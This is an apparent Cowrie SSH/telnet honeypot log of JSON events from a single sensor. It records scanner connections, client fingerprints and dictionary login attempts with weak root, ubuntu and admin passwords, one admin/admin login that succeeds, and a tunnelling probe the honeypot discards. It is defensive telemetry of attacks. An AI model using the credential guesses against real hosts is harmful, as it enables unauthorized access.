{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:29.732762Z","src_ip":"147.45.199.80","session":"19ebb1d2ef99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.122.221.179","src_port":49758,"dst_ip":"10.17.0.5","dst_port":22,"session":"aa860e91ac0b","protocol":"ssh","message":"New connection: 103.122.221.179:49758 (10.17.0.5:22) [session: aa860e91ac0b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:39.022183Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:39.026704Z","src_ip":"103.122.221.179","session":"aa860e91ac0b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:39.277463Z","src_ip":"103.122.221.179","session":"aa860e91ac0b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"valentine","message":"login attempt [root/valentine] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:40.021933Z","src_ip":"103.122.221.179","session":"aa860e91ac0b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:41.272594Z","src_ip":"103.122.221.179","session":"aa860e91ac0b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":34374,"dst_ip":"10.17.0.5","dst_port":22,"session":"c5fcb7388db5","protocol":"ssh","message":"New connection: 153.80.249.112:34374 (10.17.0.5:22) [session: c5fcb7388db5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:51.970289Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:51.974790Z","src_ip":"153.80.249.112","session":"c5fcb7388db5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:52.056768Z","src_ip":"153.80.249.112","session":"c5fcb7388db5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"q1w2e3R$","message":"login attempt [root/q1w2e3R$] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:52.430757Z","src_ip":"153.80.249.112","session":"c5fcb7388db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:54:53.520882Z","src_ip":"153.80.249.112","session":"c5fcb7388db5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":107.91583442687988,"message":"Connection lost after 107 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:07.086235Z","src_ip":"165.22.57.101","session":"b93d7085d03f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"85.11.167.46","src_port":50506,"dst_ip":"159.203.135.109","dst_port":22,"session":"6e8911af1c90","protocol":"ssh","message":"New connection: 85.11.167.46:50506 (159.203.135.109:22) [session: 6e8911af1c90]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:07.377531Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:07.383844Z","src_ip":"85.11.167.46","session":"6e8911af1c90","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:07.471440Z","src_ip":"85.11.167.46","session":"6e8911af1c90","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"root12345","message":"login attempt [root/root12345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:07.726466Z","src_ip":"85.11.167.46","session":"6e8911af1c90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:08.818791Z","src_ip":"85.11.167.46","session":"6e8911af1c90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"115.135.235.126","src_port":38694,"dst_ip":"10.17.0.5","dst_port":22,"session":"f92bd368c5a9","protocol":"ssh","message":"New connection: 115.135.235.126:38694 (10.17.0.5:22) [session: f92bd368c5a9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:18.767261Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:18.772002Z","src_ip":"115.135.235.126","session":"f92bd368c5a9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:19.015901Z","src_ip":"115.135.235.126","session":"f92bd368c5a9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"fjbdfdjkdsfs541544AA@@","message":"login attempt [ubuntu/fjbdfdjkdsfs541544AA@@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:20.955529Z","src_ip":"115.135.235.126","session":"f92bd368c5a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.4","message":"Connection lost after 3.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:22.208720Z","src_ip":"115.135.235.126","session":"f92bd368c5a9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"120.0","message":"Connection lost after 120.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:24.753806Z","src_ip":"218.78.60.105","session":"40a9ff92ea76","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00437521934509,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:28.457179Z","src_ip":"37.216.252.19","session":"a5c6d957d1ef","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":59872,"dst_ip":"10.17.0.5","dst_port":22,"session":"15fd65e8df46","protocol":"ssh","message":"New connection: 87.251.64.176:59872 (10.17.0.5:22) [session: 15fd65e8df46]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:28.818457Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:28.826676Z","src_ip":"87.251.64.176","session":"15fd65e8df46","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:28.920802Z","src_ip":"87.251.64.176","session":"15fd65e8df46","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:29.208557Z","src_ip":"87.251.64.176","session":"15fd65e8df46","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:29.305201Z","session":"15fd65e8df46","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:29.400429Z","src_ip":"87.251.64.176","session":"15fd65e8df46","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:29.497651Z","src_ip":"87.251.64.176","session":"15fd65e8df46","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"37.216.252.19","src_port":6754,"dst_ip":"10.17.0.5","dst_port":23,"session":"ed2af1529cbb","protocol":"telnet","message":"New connection: 37.216.252.19:6754 (10.17.0.5:23) [session: ed2af1529cbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:42.779874Z"}
{"eventid":"cowrie.session.closed","duration":120.01483607292175,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:55:56.705373Z","src_ip":"165.22.57.101","session":"2560df3a97e1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.240.219.146","src_port":35970,"dst_ip":"159.203.135.109","dst_port":23,"session":"a7f78600e125","protocol":"telnet","message":"New connection: 66.240.219.146:35970 (159.203.135.109:23) [session: a7f78600e125]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:06.330158Z"}
{"eventid":"cowrie.session.connect","src_ip":"218.78.60.105","src_port":49084,"dst_ip":"10.17.0.5","dst_port":22,"session":"f29356ec6e5c","protocol":"ssh","message":"New connection: 218.78.60.105:49084 (10.17.0.5:22) [session: f29356ec6e5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:06.676116Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:06.681195Z","src_ip":"218.78.60.105","session":"f29356ec6e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.240.219.146","src_port":36722,"dst_ip":"159.203.135.109","dst_port":23,"session":"a094241c6caf","protocol":"telnet","message":"New connection: 66.240.219.146:36722 (159.203.135.109:23) [session: a094241c6caf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:07.675287Z"}
{"eventid":"cowrie.session.closed","duration":0.02384185791015625,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:07.698991Z","src_ip":"66.240.219.146","session":"a094241c6caf","protocol":"telnet"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:07.908723Z","src_ip":"218.78.60.105","session":"f29356ec6e5c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.240.219.146","src_port":37094,"dst_ip":"159.203.135.109","dst_port":23,"session":"08c0f0a59441","protocol":"telnet","message":"New connection: 66.240.219.146:37094 (159.203.135.109:23) [session: 08c0f0a59441]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:08.189613Z"}
{"eventid":"cowrie.session.closed","duration":0.11083412170410156,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:08.300322Z","src_ip":"66.240.219.146","session":"08c0f0a59441","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"66.240.219.146","src_port":37336,"dst_ip":"159.203.135.109","dst_port":23,"session":"3265fec0c9e4","protocol":"telnet","message":"New connection: 66.240.219.146:37336 (159.203.135.109:23) [session: 3265fec0c9e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:08.801951Z"}
{"eventid":"cowrie.session.closed","duration":0.005910396575927734,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:08.807715Z","src_ip":"66.240.219.146","session":"3265fec0c9e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":3.8446755409240723,"message":"Connection lost after 3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:10.174699Z","src_ip":"66.240.219.146","session":"a7f78600e125","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"153.80.249.112","src_port":55766,"dst_ip":"10.17.0.5","dst_port":22,"session":"7ff24c710fd0","protocol":"ssh","message":"New connection: 153.80.249.112:55766 (10.17.0.5:22) [session: 7ff24c710fd0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:16.889947Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:16.896516Z","src_ip":"153.80.249.112","session":"7ff24c710fd0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:16.988482Z","src_ip":"153.80.249.112","session":"7ff24c710fd0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdfasdf","message":"login attempt [root/asdfasdf] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T06:56:17.351347Z","src_ip":"153.80.249.112","session":"7ff24c710fd0","protocol":"ssh"}
